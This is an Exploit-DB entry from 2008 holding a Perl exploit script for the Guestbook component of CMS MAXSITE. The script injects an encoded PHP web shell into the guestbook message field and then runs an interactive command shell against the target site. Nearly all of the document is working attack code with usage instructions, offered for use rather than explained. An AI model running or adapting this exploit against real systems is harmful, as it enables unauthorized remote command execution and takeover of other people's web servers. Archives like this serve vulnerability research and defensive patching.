Exploit-DB #7322
Description: CMS MAXSITE Component Guestbook - Remote Command Execution
Type: webapps
Platform: php
Date: 2008-12-02
Author: CWH Underground

Exploit:
#!/usr/bin/perl
#==================================================================
# CMS MAXSITE Component Guestbook Remote Command Execution Exploit
#==================================================================
#
#  ,--^----------,--------,-----,-------^--,
#  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
#  `+---------------------------^----------|
#    `\_,-------, _________________________|
#      / XXXXXX /`|     /
#     / XXXXXX /  `\   /
#    / XXXXXX /\______(
#   / XXXXXX /           
#  / XXXXXX /
# (________(             
#  `------'
#
#AUTHOR : CWH Underground
#DATE : 2 December 2008
#SITE : cwh.citec.us
#
#
#####################################################################
#APPLICATION : CMS MAXSITE Component Guestbook
#COMPONENT   : Guestbook
#DOWNLOAD	 : http://maxsite.geniuscyber.com/download/Ex-guestbook.rar
#####################################################################
#
#
#####################################################################
# Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos   
# Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

use LWP;
use HTTP::Request;

my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); }

print "\n==================================================\n";
print "    CMS MAXSITE Component Guestbook RCE Exploit \n";
print " \n";
print "         Discovered By CWH Underground \n";
print "==================================================\n";
print "                                              \n";
print "  ,--^----------,--------,-----,-------^--,   \n";
print "  | |||||||||   `--------'     |          O	\n";
print "  `+---------------------------^----------|   \n";
print "    `\_,-------, _________________________|   \n";
print "      / XXXXXX /`|     /                      \n";
print "     / XXXXXX /  `\   /                       \n";
print "    / XXXXXX /\______(                        \n";
print "   / XXXXXX /                                 \n";
print "  / XXXXXX /   .. CWH Underground Hacking Team ..  \n";
print " (________(                                   \n";
print "  `------'                                    \n";
print "                                              \n";

if ($#ARGV != 0)
{
   print "Usage: ./xpl.pl <URL to index page>\n";
   print "Ex. ./xpl.pl http://www.target.com/maxsite/index.php\n";
   exit();
}

$index = $ARGV[0];
$upload_url = $index."?name=guestbook&file=message";

print "\n[+] Trying to Inject the Code...\n";

$ua = LWP::UserAgent->new ();
$post = HTTP::Request->new (POST => $upload_url);
$post->header (User_Agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18');
$post->header (Accept => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5');
$post->header (Accept_Language => 'en-us,en;q=0.5');
$post->header (Content_Type => 'application/x-www-form-urlencoded');
$post->content ('name=CWH&aim=CWH&email=CWH&site=http%3A%2F%2Fcitec.us&message=%3C%3Fphp+%0D%0Aif%28get_magic_quotes_gpc%28%29%29%0D%0A%7B+%0D%0A%09%24_GET%5Bcmd%5D%3Dstripslashes%28%24_GET%5Bcmd%5D%29%3B%0D%0A%7D+%0D%0Aecho+%28%22%23%23%25%24%24%25%23%23%22%29%3B%0D%0Apassthru%28%24_GET%5Bcmd%5D%29%3B+%0D%0Aecho+%28%22%23%23%25%24%24%25%23%23%22%29%3B%0D%0A%3F%3E&submitButtonName=Submit');

$response = $ua->request ($post);

if ($response->code ne 200) {
	print "\nRCE Exploit Failed\n";
	exit();
}

print "\nSuccessfully Inject Code !!!\n\n";
print "[cwh-shell]# ";
chomp ($cmd = <STDIN>);

while ($cmd ne "exit") {

	
	$url = $index."?name=guestbook&cmd=".$cmd;

	$req = HTTP::Request->new (GET => $url);
	$req->header (User_Agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18');
	$req->header (Accept => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5');
	$req->header (Accept_Language => 'en-us,en;q=0.5');

	
	$response = $ua->request ($req);
	$content = $response->content;

	if ($content !~ /\#\#%\$\$%\#\#/) {
		print ("Exploit Failed\n");
		exit();
	}

	while ($content =~ /\#\#%\$\$%\#\#(.*?)\#\#%\$\$%\#\#/sg) {
		print $1;
	}

	print "\n[cwh-shell]# ";
	chomp ($cmd = <STDIN>);

}

# milw0rm.com [2008-12-02]